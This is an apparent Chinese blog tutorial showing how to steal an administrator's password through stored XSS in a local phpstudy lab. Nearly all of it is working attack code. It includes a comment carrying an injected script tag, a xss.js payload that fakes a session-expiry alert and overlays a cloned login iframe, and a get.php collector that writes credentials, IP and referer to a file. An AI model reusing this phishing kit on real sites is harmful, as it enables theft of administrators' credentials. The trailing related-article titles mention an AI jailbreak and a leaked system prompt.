xss获取管理员的用户密码(本地实战)

更上一层楼!!!

环境准备

phpstudy

实战

phpstudy指定localhost目录下编写如下文件:

复制代码
admin_login.html  //原管理登录页面
admin_index.html  //原管理后台页面
fish.html         //我们高仿的登录页面,也就是钓鱼页
get.php           //数据接收文件
xss.js            //xss的payload

代码量比较少,就此复制粘贴即可

admin_login.html

复制代码
//admin_login.html  原管理登录页面
<html>
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://xxx/x.php">
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="登录">
</form> 
</body>
</html>

admin_index.html

复制代码
//admin_index.html  原管理后台页面
<html>
<body>
<head><title>管理员后台</title></head>
<h1>这里是管理员后台,你已成功登录</h1>
<button type="button">一键日卫星</button>
<hr><b>最新留言</b>
<ul>
<li>说书人长得好帅</li>
<li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
</ul>
</body>
</html>

fish.html

复制代码
//fish.html  我们仿的登录页面,也就是钓鱼页
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="Submit">
</form> 
</body>
</html>

get.php

复制代码
//get.php  数据接收文件
<?php
$line = '----------------------------------'."\r\n";
$user = '账号:'.$_POST['username']."\r\n";
$pwd = '密码:'.$_POST['password']."\r\n";
$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";
$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";
$date ='日期:'. date("Y-m-d")."\r\n";
$result = $line.$url.$user.$pwd.$ip.$date;
file_put_contents('good.txt',$result, FILE_APPEND);
header("Location: http://127.0.0.1/admin_index.html");
?>

xss.js

复制代码
//xss.js  xss的payload
setTimeout(function() {
    alert("登陆过期,请重新登陆!");
    parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src = \"127.0.0.1/fish.html\" frameBorder=0 scrolling=no></iframe>");
    setTimeout(function() {
        document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
    },
    100);
    setTimeout(function() {
        parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
    },
    100);
},
600000);

进入网页admin_login.html进行实战

实战完成后,在编写的所有文件目录下查找good.txt,上面记录的管理员的账户密码。实战结束

留言

有服务器的可以在服务器上实战。祝你们学习顺利!!!

相关推荐
txg6665 分钟前
MirrorFuzz:利用共享漏洞与大模型的深度学习框架 API 模糊测试
人工智能·深度学习·安全·网络安全
网安情报局18 分钟前
高防IP是什么?原理是什么?
安全
2601_9594801531 分钟前
Moneta Markets亿汇:“网络安全认证提升信任”
安全·web安全
Survivor00139 分钟前
Codex Harness 安全沙箱机制原理
安全·ai·安全架构
薛定猫AI1 小时前
【深度解析】Claude Fable 5 全面评测:安全防护机制、基准测试与实战性能深度拆解
网络·安全
ylscode2 小时前
Claude Fable 5遭多智能体越狱攻击:Anthropic最强AI安全防线被击穿,12万字符系统提示泄露
网络·人工智能·安全
sou_time2 小时前
从 0 到 商用:AI Agent x SKILL x MCP 全栈实战教程:L3 商用篇:性能 / 成本 / 可观测性 / 安全 / 部署
人工智能·安全
BEOL贝尔科技2 小时前
“温度异常威胁样本安全?”安装温湿度监控设备实时监测+快速响应是关键!
人工智能·安全·数据分析
vanchWanquan2 小时前
平置革新:RFID 地毯天线重构多行业数字化识别体系
人工智能·安全·重构·制造
广州灵眸科技有限公司2 小时前
“一机一码”安全加密方案
网络·单片机·嵌入式硬件·安全